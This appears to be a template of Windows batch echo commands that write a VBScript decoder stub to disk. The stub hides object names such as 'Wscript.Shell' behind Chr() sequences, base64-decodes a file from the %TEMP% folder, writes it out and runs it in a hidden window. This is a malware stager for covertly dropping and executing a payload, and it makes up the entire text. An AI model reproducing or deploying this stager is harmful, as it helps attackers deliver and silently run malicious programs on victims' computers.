echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub echo Set wshShell = CreateObject(scriptShell) >>decode_stub echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub echo Set fs = CreateObject(scriptingFS) >>decode_stub echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub echo If file.Size Then >>decode_stub echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub echo data = fd.ReadAll >>decode_stub echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub echo data = Replace(data, vbCrLf, nil) >>decode_stub echo data = base64_decode(data) >>decode_stub echo fd.Close >>decode_stub echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub echo ofs.Write data >>decode_stub echo ofs.close >>decode_stub echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub echo Else >>decode_stub echo Wscript.Echo emptyString >>decode_stub echo End If >>decode_stub echo Function base64_decode(byVal strIn) >>decode_stub echo Dim w1, w2, w3, w4, n, strOut >>decode_stub echo For n = 1 To Len(strIn) Step 4 >>decode_stub echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub echo If Not w2 Then _ >>decode_stub echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub echo If Not w3 Then _ >>decode_stub echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub echo If Not w4 Then _ >>decode_stub echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub echo Next >>decode_stub echo base64_decode = strOut >>decode_stub echo End Function >>decode_stub echo Function mimedecode(byVal strIn) >>decode_stub echo If Len(strIn) = 0 Then >>decode_stub echo mimedecode = -1 : Exit Function >>decode_stub echo Else >>decode_stub echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub echo End If >>decode_stub echo End Function >>decode_stub